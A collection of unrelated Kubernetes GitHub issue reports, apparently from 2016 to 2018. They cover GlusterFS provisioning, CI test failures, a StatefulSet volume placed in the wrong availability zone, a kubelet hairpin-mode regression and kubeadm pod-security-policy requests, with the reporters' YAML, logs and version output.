<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r yes\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r - glusterfs\r - volume\r - provisioning\r \r ---\r \r   is this a bug report or feature request?    choose one :\r bug report\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  : \r \r    \r client version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.3\ , gitcommit:\ 4957b090e9a4f6a68b4a40375408fdc74a212260\ , gittreestate:\ clean\ , builddate:\ 2016-10-16t06:36:33z\ , goversion:\ go1.7.1\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.1\ , gitcommit:\ 33cf7b9acbb2cb7c9c72a10d6636321fb180b159\ , gittreestate:\ clean\ , builddate:\ 2016-10-10t18:13:36z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r \r   environment  :\r -   cloud provider or hardware configuration  : on-prem vsphere\r -   os    e.g. from /etc/os-release : ubuntu 16.04 lts\r -   kernel    e.g.  uname -a  :\r -   install tools  : kubeadm\r -   others  :\r - heketi\r - glusterfs\r \r \r   what happened  :\r when provisioning a glusterfs volume via pvc, glusterfs volume is created but with a durability_type of \ none\  instead of \ replicate\  according to:\r \r https://github.com/kubernetes/kubernetes/blob/4e393fadf3df60bc15696e9d965f635fefb2a6e9/pkg/volume/glusterfs/glusterfs.go l60\r \r when doing a  heketi volume info  on the created pv, this is the result:\r \r    \r  root@415dd3a6d47d /   heketi-cli volume info 2f85f8c8c7eabf2daf3b50065bf3160d\r name: vol_2f85f8c8c7eabf2daf3b50065bf3160d\r size: 5\r volume id: 2f85f8c8c7eabf2daf3b50065bf3160d\r cluster id: 0ea05409eedd61cf1678d2e8693bdae8\r mount: 10.130.7.153:vol_2f85f8c8c7eabf2daf3b50065bf3160d\r mount options: backup-volfile-servers=\r durability type: none\r    \r \r   what you expected to happen  :\r \r durability type should be  replicate .\r \r   how to reproduce it    as minimally and precisely as possible :\r \r - create a default storageclass for glusterfs that points to heketi's rest server\r - in your pvc, use glusterfs storageclass\r \r    \r     apiversion: v1\r     kind: persistentvolumeclaim\r     metadata:\r       name: glusterclaim-1\r       annotations:\r         volume.beta.kubernetes.io/storage-class: \ glusterfs\ \r     spec:\r       accessmodes:\r         - readwriteonce\r       resources:\r         requests:\r           storage: \ 5gi\ \r    \r \r - after doing a  kubectl get pv , notice that the pv is created and bounded to the claim\r - connect to the heketi server and do a  heketi volume list  and do a  heketi volume info  on the newly created volume.\r - you should notice that the volume is created with a durability type of 'none'\r \r   anything else do we need to know  :\r \r

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-gci-1.3-gci-1.5-upgrade-cluster-new/48/  multiple broken tests:  failed:  k8s.io  schedulerpredicates  serial  validates that a pod with an invalid nodeaffinity is rejected {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduler_predicates.go:100 expected error:     < errors.errorstring | 0xc422277ca0>: {         s: \ namespace e2e-tests-services-3qqmw is active\ ,     }     namespace e2e-tests-services-3qqmw is active not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduler_predicates.go:78     issues about this test specifically:  33883   failed:  k8s.io  schedulerpredicates  serial  validates that embedding the json nodeaffinity setting as a string in the annotation value work {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduler_predicates.go:100 expected error:     < errors.errorstring | 0xc422277a20>: {         s: \ namespace e2e-tests-services-3qqmw is active\ ,     }     namespace e2e-tests-services-3qqmw is active not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduler_predicates.go:78     issues about this test specifically:  29816  30018  33974   failed:  k8s.io  schedulerpredicates  serial  validates that inter-pod-affinity is respected if not matching {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduler_predicates.go:100 expected error:     < errors.errorstring | 0xc4224c7670>: {         s: \ namespace e2e-tests-services-3qqmw is active\ ,     }     namespace e2e-tests-services-3qqmw is active not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduler_predicates.go:78     issues about this test specifically:  31918   failed:  k8s.io  schedulerpredicates  serial  validates that interpodaffinity is respected if matching with multiple affinities {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduler_predicates.go:100 expected error:     < errors.errorstring | 0xc4212b7320>: {         s: \ namespace e2e-tests-services-3qqmw is active\ ,     }     namespace e2e-tests-services-3qqmw is active not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduler_predicates.go:78     issues about this test specifically:  34223   failed:  k8s.io  schedulerpredicates  serial  validates that taints-tolerations is respected if not matching {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduler_predicates.go:100 expected error:     < errors.errorstring | 0xc422959910>: {         s: \ namespace e2e-tests-services-3qqmw is active\ ,     }     namespace e2e-tests-services-3qqmw is active not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduler_predicates.go:78     issues about this test specifically:  27655  33876   failed:  k8s.io  services should work after restarting apiserver  disruptive  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/service.go:451 expected error:     < errors.errorstring | 0xc42001a190>: {s: \ unexpected eof\ }     unexpected eof not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/service.go:442     issues about this test specifically:  28257  29159  29449  32447  37508   failed:  k8s.io  secrets should be consumable from pods in env vars  conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/common/secrets.go:194 expected error:     < errors.errorstring | 0xc421d05280>: {         s: \ failed to get logs from pod-secrets-08e8841a-be27-11e6-8fd6-0242ac110002 for secret-env-test: an error on the server  \\\ unknown\\\   has prevented the request from succeeding  get pods pod-secrets-08e8841a-be27-11e6-8fd6-0242ac110002 \ ,     }     failed to get logs from pod-secrets-08e8841a-be27-11e6-8fd6-0242ac110002 for secret-env-test: an error on the server  \ unknown\   has prevented the request from succeeding  get pods pod-secrets-08e8841a-be27-11e6-8fd6-0242ac110002  not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/util.go:2167     issues about this test specifically:  32025  36823   failed:  k8s.io  schedulerpredicates  serial  validates that required nodeaffinity setting is respected if matching {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduler_predicates.go:100 expected error:     < errors.errorstring | 0xc421e0b360>: {         s: \ namespace e2e-tests-services-3qqmw is active\ ,     }     namespace e2e-tests-services-3qqmw is active not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduler_predicates.go:78     issues about this test specifically:  28071

failure cluster  20b8708fa9f4778dbc86  https://go.k8s.io/triage 20b8708fa9f4778dbc86        error text:     error creating pod expected error:     < url.error | 0xc420f75140>: {         op: \ post\ ,         url: \ https://35.188.88.31/api/v1/namespaces/e2e-tests-configmap-upgrade-4hgcf/pods\ ,         err: {             op: \ dial\ ,             net: \ tcp\ ,             source: nil,             addr: {                 ip:  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 35, 188, 88, 31 ,                 port: 443,                 zone: \ \ ,             },             err: {                 syscall: \ getsockopt\ ,                 err: 0x6f,             },         },     }     post https://35.188.88.31/api/v1/namespaces/e2e-tests-configmap-upgrade-4hgcf/pods: dial tcp 35.188.88.31:443: getsockopt: connection refused not to have occurred  k8s.io/kubernetes/test/e2e/framework.  podclient .create 0xc421364c80, 0xc420304c00, 0x21  \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/pods.go:76 +0x114 k8s.io/kubernetes/test/e2e/framework.  framework .matchcontaineroutput 0xc420aa68c0, 0xc420304c00, 0x37f262e, 0x15, 0xc421335e88, 0x2, 0x2, 0x38f2b20, 0x0, 0x0  \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/util.go:2240 +0xdc k8s.io/kubernetes/test/e2e/framework.  framework .testcontaineroutputmatcher 0xc420aa68c0, 0x3801083, 0x18, 0xc420304c00, 0x0, 0xc42072ee88, 0x2, 0x2, 0x38f2b20  \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/util.go:2224 +0x20d k8s.io/kubernetes/test/e2e/framework.  framework .testcontaineroutput 0xc420aa68c0, 0x3801083, 0x18, 0xc420304c00, 0x0, 0xc42072ee88, 0x2, 0x2  \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:400 +0x8a k8s.io/kubernetes/test/e2e/upgrades.  configmapupgradetest .testpod 0x56da0d0, 0xc420aa68c0  \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/upgrades/configmaps.go:143 +0x7ea k8s.io/kubernetes/test/e2e/upgrades.  configmapupgradetest .test 0x56da0d0, 0xc420aa68c0, 0xc421306ea0, 0x2  \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/upgrades/configmaps.go:69 +0x90 k8s.io/kubernetes/test/e2e.  chaosmonkeyadapter .test 0xc4219f60c0, 0xc42107f0e0  \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/cluster_upgrade.go:205 +0x1ed k8s.io/kubernetes/test/e2e.  chaosmonkeyadapter .test-fm 0xc42107f0e0  \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/cluster_upgrade.go:270 +0x34 k8s.io/kubernetes/test/e2e/chaosmonkey.  chaosmonkey .do.func1 0xc42107f0e0, 0xc4203ac560  \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/chaosmonkey/chaosmonkey.go:89 +0x76 created by k8s.io/kubernetes/test/e2e/chaosmonkey.  chaosmonkey .do \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/chaosmonkey/chaosmonkey.go:90 +0x1c7           failure cluster statistics: 2 tests failed,    27 jobs failed,    89 builds failed. failure stats cover 1 day time range '27 jun 2017 20:13 utc' to '28 jun 2017 20:13 utc'.       top failed tests by jobs failed:  | test name | jobs failed | | --- | --- | | configmap-upgrade | 27 | | secret-upgrade | 27 |        top failed jobs by builds failed:  | job name | builds failed | latest failure | | --- | --- | --- | | ci-kubernetes-e2e-gce-latest-upgrade-master | 9 |  28 jun 2017 13:07 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-latest-upgrade-master/106  | | ci-kubernetes-e2e-gce-latest-upgrade-cluster | 9 |  28 jun 2017 13:07 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-latest-upgrade-cluster/106  | | ci-kubernetes-e2e-gce-1-6-1-7-upgrade-master | 8 |  28 jun 2017 17:58 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-1-6-1-7-upgrade-master/89  |   current status  https://go.k8s.io/triage 20b8708fa9f4778dbc86

\r   is this a bug report or feature request?  : flake\r \r  \r   what happened  :  i submitted pr  https://github.com/kubernetes/kubernetes/pull/47999  and k8s-ci-robot reported a failure for pull-kubernetes-kubemark-e2e-gce. when i check the test output  link  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/47999/pull-kubernetes-kubemark-e2e-gce/38859/ , i see that the test succeeded. \ no test failures!\ \r \r   what you expected to happen  :\r \r i expect test success to result in \ pass\ \r \r

resources assigned to heapster on 1000 nodes cluster:\r \r with version 1.7\r 765m\r 5.6g\r \r with version 2.0\r 540m\r 4.6gb\r \r heapster tends to oom from time to time with the latter parameters.

is this a bug report or feature request?  : bug\r \r  \r   what happened  : i used kops to create an instance group of size 3 with node-labels for itsecmon.purpose/itsecmon.role so i could have some dedicated resources for elasticsearch. i created a statefulset of size 3 set to use those labels. only 1 of the 3 pods is created, the 2nd is pending because the storage volume has been created in the wrong az.\r \r   what you expected to happen  : i expected all 3 pods to be created.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r 1  create an instance group with kops:\r \r    \r ---\r apiversion: kops/v1alpha2\r kind: instancegroup\r metadata:\r   creationtimestamp: 2017-07-26t21:11:20z\r   labels:\r     kops.k8s.io/cluster: kube.town\r   name: elasticsearch-master\r spec:\r   nodelabels:\r     itsecmon.purpose: \ elasticsearch\ \r     itsecmon.role: \ master\ \r   image: kope.io/k8s-1.6-debian-jessie-amd64-hvm-ebs-2017-05-02\r   machinetype: m4.4xlarge\r   maxsize: 3\r   minsize: 3\r   role: node\r   subnets:\r   - us-west-2c\r    \r \r check its metadata with  kubectl get nodes --show-labels :\r \r    \r $ kubectl get nodes --show-labels | grep itsecmon\r ip-10-43-91-102.us-west-2.compute.internal   ready     30m       v1.7.2    beta.kubernetes.io/arch=amd64,beta.kubernetes.io/instance-type=m4.4xlarge,beta.kubernetes.io/os=linux,failure-domain.beta.kubernetes.io/region=us-west-2,failure-domain.beta.kubernetes.io/zone=us-west-2c,itsecmon.purpose=elasticsearch,itsecmon.role=master,kubernetes.io/hostname=ip-10-43-91-102.us-west-2.compute.internal,kubernetes.io/role=node,node-role.kubernetes.io/node=\r ip-10-43-91-119.us-west-2.compute.internal   ready     30m       v1.7.2    beta.kubernetes.io/arch=amd64,beta.kubernetes.io/instance-type=m4.4xlarge,beta.kubernetes.io/os=linux,failure-domain.beta.kubernetes.io/region=us-west-2,failure-domain.beta.kubernetes.io/zone=us-west-2c,itsecmon.purpose=elasticsearch,itsecmon.role=master,kubernetes.io/hostname=ip-10-43-91-119.us-west-2.compute.internal,kubernetes.io/role=node,node-role.kubernetes.io/node=\r ip-10-43-91-121.us-west-2.compute.internal   ready     30m       v1.7.2    beta.kubernetes.io/arch=amd64,beta.kubernetes.io/instance-type=m4.4xlarge,beta.kubernetes.io/os=linux,failure-domain.beta.kubernetes.io/region=us-west-2,failure-domain.beta.kubernetes.io/zone=us-west-2c,itsecmon.purpose=elasticsearch,itsecmon.role=master,kubernetes.io/hostname=ip-10-43-91-121.us-west-2.compute.internal,kubernetes.io/role=node,node-role.kubernetes.io/node=\r    \r \r then create a statefulset to use the  itsecmon.purpose  and  itsecmon.role :\r \r    \r ---\r apiversion: apps/v1beta1\r kind: statefulset\r metadata:\r   name: es-master\r   namespace: prod3\r spec:\r   servicename: es-master\r   replicas: 3\r   template:\r     metadata:\r       labels:\r         app: es\r         role: es-master\r         cluster: prod3\r     spec:\r       affinity:\r         nodeaffinity:\r           requiredduringschedulingignoredduringexecution:\r             nodeselectorterms:\r             - matchexpressions:\r               - key: itsecmon.purpose\r                 operator: in\r                 values:\r                 - elasticsearch\r               - key: itsecmon.role\r                 operator: in\r                 values:\r                 - master\r       containers:\r       - name: es\r         imagepullpolicy: always\r         image: 123.dkr.ecr.us-west-2.amazonaws.com/elasticsearch:v5.5.1-alpine\r         resources:\r           requests:\r             memory: \ 30gi\ \r             cpu: \ 4\ \r           limits:\r             memory: \ 30gi\ \r             cpu: \ 4\ \r         ports:\r         - containerport: 9200\r           name: restapi\r           protocol: tcp\r         - containerport: 9300\r           name: transport\r           protocol: tcp\r         volumemounts:\r         - name: datadir\r           mountpath: /data\r         env:\r         - name: node_master\r           value: \ true\ \r         - name: node_data\r           value: \ false\ \r         - name: es_java_opts\r           value: \ -xms20g -xmx20g\ \r         - name: discovery_service\r           value: es\r         - name: cluster_name\r           value: prod3\r         - name: minimum_master_nodes\r           value: \ 3\ \r         - name: \ namespace\ \r           valuefrom:\r             fieldref:\r               fieldpath: metadata.namespace\r           command:  \ sleep\ , \ 300000\  \r         securitycontext:\r           privileged: true\r             runasuser: 105\r             fsgroup: 108\r   volumeclaimtemplates:\r   - metadata:\r       name: datadir\r     spec:\r       accessmodes:   \ readwriteonce\   \r       resources:\r         requests:\r           storage: 40gi\r    \r \r and now wait a bit, see the 2nd pod is pending:\r \r    \r  env  lp-xlange-osx:elasticsearch-prod3 xlange$ k --namespace=prod3 describe pod es-master-1\r name:\t\tes-master-1\r namespace:\tprod3\r node:\t\t<none>\r labels:\t\tapp=es\r \t\tcluster=prod3\r \t\tcontroller-revision-hash=es-master-3541045895\r \t\trole=es-master\r annotations:\tkubernetes.io/created-by={\ kind\ :\ serializedreference\ ,\ apiversion\ :\ v1\ ,\ reference\ :{\ kind\ :\ statefulset\ ,\ namespace\ :\ prod3\ ,\ name\ :\ es-master\ ,\ uid\ :\ 8ae64d1a-97f5-11e7-961b-062f5d9a4086\ ,\ apiversi...\r status:\t\tpending\r ip:\r created by:\tstatefulset/es-master\r controlled by:\tstatefulset/es-master\r containers:\r   es:\r     image:\t455567940957.dkr.ecr.us-west-2.amazonaws.com/elasticsearch:v5.5.1-alpine\r     ports:\t9200/tcp, 9300/tcp\r     limits:\r       cpu:\t4\r       memory:\t30gi\r     requests:\r       cpu:\t4\r       memory:\t30gi\r     environment:\r       node_master:\t\ttrue\r       node_data:\t\tfalse\r       es_java_opts:\t\t-xms20g -xmx20g\r       discovery_service:\tes\r       cluster_name:\t\tprod3\r       minimum_master_nodes:\t3\r       namespace:\t\tprod3  v1:metadata.namespace \r     mounts:\r       /data from datadir  rw \r       /var/run/secrets/kubernetes.io/serviceaccount from default-token-7ddfx  ro \r conditions:\r   type\t\tstatus\r   podscheduled \tfalse\r volumes:\r   datadir:\r     type:\tpersistentvolumeclaim  a reference to a persistentvolumeclaim in the same namespace \r     claimname:\tdatadir-es-master-1\r     readonly:\tfalse\r   default-token-7ddfx:\r     type:\tsecret  a volume populated by a secret \r     secretname:\tdefault-token-7ddfx\r     optional:\tfalse\r qos class:\tguaranteed\r node-selectors:\t<none>\r tolerations:\tnode.alpha.kubernetes.io/notready:noexecute for 300s\r \t\tnode.alpha.kubernetes.io/unreachable:noexecute for 300s\r events:\r   firstseen\tlastseen\tcount\tfrom\t\t\tsubobjectpath\ttype\t\treason\t\t\tmessage\r   ---------\t--------\t-----\t----\t\t\t-------------\t--------\t------\t\t\t-------\r   3m\t\t3m\t\t2\tdefault-scheduler\t\t\twarning\t\tfailedscheduling\tpersistentvolumeclaim is not bound: \ datadir-es-master-1\   repeated 17 times \r   3m\t\t28s\t\t13\tdefault-scheduler\t\t\twarning\t\tfailedscheduling\tno nodes are available that match all of the following predicates:: insufficient cpu  1 , insufficient memory  1 , matchnodeselector  14 , novolumezoneconflict  15 , podtoleratesnodetaints  1 .\r    \r \r take a look at the aws web console i can see that the drive is not in the expected az, it's in  us-west-2a . \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r \r    \r $ kubectl version\r client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.2\ , gitcommit:\ 922a86cfcd65915a9b2f69f3f193b8907d741d9c\ , gittreestate:\ clean\ , builddate:\ 2017-07-21t19:06:19z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.2\ , gitcommit:\ 922a86cfcd65915a9b2f69f3f193b8907d741d9c\ , gittreestate:\ clean\ , builddate:\ 2017-07-21t08:08:00z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - cloud provider or hardware configuration  :  kope.io/k8s-1.6-debian-jessie-amd64-hvm-ebs-2017-05-02 \r - os  e.g. from /etc/os-release :\r \r    \r pretty_name=\ debian gnu/linux 8  jessie \ \r name=\ debian gnu/linux\ \r version_id=\ 8\ \r version=\ 8  jessie \ \r id=debian\r home_url=\ http://www.debian.org/\ \r support_url=\ http://www.debian.org/support\ \r bug_report_url=\ https://bugs.debian.org/\ \r    \r - kernel  e.g.  uname -a  :  linux ip-10-43-91-106 4.4.78-k8s  1 smp fri jul 28 01:28:39 utc 2017 x86_64 gnu/linux \r - install tools: kops\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r  \r @kubernetes/sig-network-bugs\r \r   what happened  :\r after an in-place upgrade from kubelet 1.5.3 to 1.7.4 - pods that attempt to loadbalance to themselves via kubedns are unable to complete the request. the value of --hairpin-mode=hairpin-veth is seemingly ignored. \r \r   what you expected to happen  :\r pods that attempt to loadbalance to a service backed by itself should successful hairpin back around and the request should be successful. the --hairpin-mode=hairpin-veth flag should be respected, and hairpinning should be enabled on all created veths. \r \r   how to reproduce it  as minimally and precisely as possible   :\r with kubectl v1.7.4 pointed to a cluster configured to run kubelet 1.7.4 with the hairpin-mode=hairpin-veth flag and no value set for the --network-plugin flag\r deploy up some pods poda and podb and expose some port in poda - have it respond to every request with some kind of ack\r deploy up some service that points to poda\r from podb - send a request to the service and ensure you get an ack from poda\r from poda - send a request to the service - this will fail\r \r   anything else we need to know?  :\r \r i've done enough digging to figure out exactly why this is happening. in our configuration, we don't rely on any cni plugins to configure our veths. previously, in 1.5.x - kubelet would use the  --hairpin-mode=hairpin-veth  flag to determine if the veth interfaces would have the hairpin configured. in 1.7.4 - this flag is dropped and not touched in the no-op plugin case after https://github.com/kubernetes/kubernetes/blob/master/pkg/kubelet/network/plugins.go l205 . in the kubelet logs i do see some interesting lines - namely \r \r  sep 29 18:53:19  my node .net hyperkube 18658 : w0929 18:53:19.924036   18658 docker_sandbox.go:342  failed to read pod ip from plugin/docker: couldn't find network status for default/hairpin-bc3f8cdf7e6b-376814036-v8src through plugin: invalid network status for \r \r i'm invoking kubelet with \r \r root     18658  2.1  1.3 490740 76828 ?        ssl  18:53   0:44 /usr/bin/hyperkube kubelet --logtostderr=true --v=2 --api-servers=https://<some_node>.net:8000 --address=0.0.0.0 --allow-privileged=true --node-labels=pool=piabpool,etcd_installed=true,master=true --anonymous-auth=false --client-ca-file=/data/certs/ca.crt --tls-cert-file=/data/certs/<some_node>.net.crt --tls-private-key-file=/data/certs/<some_node>.net.key --cgroup-driver=systemd --kubeconfig /etc/kubernetes/kubeconfig --node-ip=<some ip> --max-pods=110 --pod-infra-container-image gcr.io/google_containers/pause-amd64:3.0 --hairpin-mode=hairpin-veth --pod-manifest-path=/etc/kubernetes/kubelet.d\r \r this behavior seems to be a regression from 1.5 - and it looks like i'm not the first person to run into some veth oriented confusion. \r \r see https://github.com/kubernetes/kubernetes/issues/45790 or https://github.com/kubernetes/kubernetes.github.io/pull/5599 for slightly more context. \r \r   environment  :\r - kubernetes version  use  kubectl version  : \r client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.4\ , gitcommit:\ 793658f2d7ca7f064d2bdf606519f9fe1229c381\ , gittreestate:\ clean\ , builddate:\ 2017-08-17t08:48:23z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.4\ , gitcommit:\ 793658f2d7ca7f064d2bdf606519f9fe1229c381\ , gittreestate:\ clean\ , builddate:\ 2017-08-17t08:30:51z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r - cloud provider or hardware configuration  : private\r - os  e.g. from /etc/os-release : \r name=\ centos linux\ \r version=\ 7  core \ \r id=\ centos\ \r ...\r centos_mantisbt_project=\ centos-7\ \r centos_mantisbt_project_version=\ 7\ \r redhat_support_product=\ centos\ \r redhat_support_product_version=\ 7\ \r \r - kernel  e.g.  uname -a  : 3.10.0-514.21.1.el7.x86_64\r - install tools: yum\r - others: \r

failing job\r    gci-gce-serial  https://k8s-testgrid.appspot.com/sig-release-master-blocking gci-gce-serial \r    gci-gke-serial  https://k8s-testgrid.appspot.com/sig-release-master-blocking gci-gke-serial \r \r    failing test\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke-serial/6038\r \r    triage results\r https://storage.googleapis.com/k8s-gubernator/triage/index.html?sig=cli&test=kubectl%20client\r \r this test is currently failing in sig-release master-blocking and upgrade suites since late 5/11.  commit changes  https://github.com/kubernetes/kubernetes/compare/5133d19fb...5782d476c . this could potentially block beta v1.11 which is due to be cut tuesday,5/15. @liggitt can you please help triage?\r \r  / /  @kubernetes/sig-cli-bugs \r \r cc @jberkus @tpepper\r \r /assign @liggitt

/area conformance\r /area test\r   \r starting setup for hollow-nodes\r configuring registry authentication\r gcloud credential helpers already registered correctly.\r copying kubemark binary to /home/leeivan/gowork/src/k8s.io/kubernetes/cluster/images/kubemark\r docker build --pull -t gcr.io/avid-equator-210902/kubemark:07fkvk .\r sending build context to docker daemon  162.2mb\r step 1/2 : from debian:jessie\r jessie: pulling from library/debian\r digest: sha256:a64a7d8ff7ff87edb78004ef0b159661546d2ddbd82772128b344c90cf8422ab\r status: image is up to date for debian:jessie\r  ---> 79f4bda91989\r step 2/2 : copy kubemark /kubemark\r  ---> using cache\r  ---> a2711b3bbcf0\r successfully built a2711b3bbcf0\r successfully tagged gcr.io/avid-equator-210902/kubemark:07fkvk\r docker push gcr.io/avid-equator-210902/kubemark:07fkvk\r the push refers to repository  gcr.io/avid-equator-210902/kubemark \r ff23db81c1b2: preparing\r dd1eb1fd7e08: preparing\r dd1eb1fd7e08: layer already exists\r ff23db81c1b2: pushed\r 07fkvk: digest: sha256:3f9cb09bf3766ad4752c59867446dae29a224b42158380a7818d37a58e239617 size: 741\r succeeded to make gcloudpush .\r created and uploaded the kubemark hollow-node image to docker registry.\r the connection to the server localhost:8080 was refused - did you specify the right host or port?\r !!!  0721 08:43:57  call tree:\r !!!  0721 08:43:57   1: ./test/kubemark/start-kubemark.sh:471 create-kube-hollow-node-resources ... \r !!! error in ./test/kubemark/start-kubemark.sh:340\r   error in ./test/kubemark/start-kubemark.sh:340. '  i<3-1  ' exited with status 1\r call stack:\r   1: ./test/kubemark/start-kubemark.sh:340 create-kube-hollow-node-resources ... \r   2: ./test/kubemark/start-kubemark.sh:471 main ... \r exiting with status 1\r /sig-scalability-test-failures\r

<!-- please only use this template for submitting enhancement requests -->\r \r   what would you like to be added  :\r use a different service account than  default  for the pre-pull images pods.\r \r right now,  kubeadm  will create a  damonset  to pre-pull images which uses the  default  service account in  kube-system  namespace.\r \r we are using pod security policies in our cluster so we need to allow the  default  sa in  kube-system  ns to use the  privileged  psp. this is due to our default psp blocking  root  user and forcing users to specify which user they want to run.\r \r   why is this needed  :\r at the moment we need to apply a psp that allows to run pod with an unspecified user   privileged  psp in our case  to the  default  service account. which in not good in my opinion, because any pod deployed in  kube-system  ns using the  default  sa will have access to this policy.\r \r note: this is also fixed if  kubeadm  specify an user in the  securitycontext  of the pod. since, as far as i can see, there is no need for any  privileged  access, is just that our default psp forces you to not use  root  user and specify which user you want to use.

<!-- please only use this template for submitting reports about failing tests in kubernetes ci jobs -->\r \r   which jobs are failing  :\r \r https://gubernator.k8s.io/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce/34994\r \r   which test s  are failing  :\r \r  sig-storage  in-tree volumes  driver: local  localvolumetype: block   testpattern: pre-provisioned pv  default fs   volumes should be mountable\r \r   since when has it been failing  :\r \r   testgrid link  :\r \r https://testgrid.k8s.io/sig-storage-kubernetes gce\r \r   reason for failure  :\r \r volume of previous pod is not unmounted before the second pod is trying to mount its volume.\r \r   anything else we need to know  :\r

kubelet needs to enforce node allocatable. this can be done today on a best effort basis if  --root-cgroup  is set to something other than  / .  enforcing on systemd machines might be harder because writing to cgroups can be restricted when using systemd. we will need to add support for systemd apis.

noticeably often   31513  startup of cluster in scalability suite  100  nodes fail, because 2 nodes don't have cni plugins installed:      i0910 17:19:59.718154    3719 kubelet.go:2240  skipping pod synchronization -  could not locate kubenet required cni plugins  bridge host-local loopback  at \ /opt/cni/bin\  or \ /usr/libexec/kubernetes/kubelet-plugins/net/exec/\        which in turn causes tests to fail.  cc @kubernetes/sig-cluster-lifecycle @kubernetes/goog-node @wojtek-t

i have read the docs about  health check  http://kubernetes.io/docs/user-guide/liveness/ . imo, currently the health check command is run under   root   user. is there any way to specify the username under who the health check can be run. this may be useful in health check logging with proper permission which will allow deletion and compress under non root user.

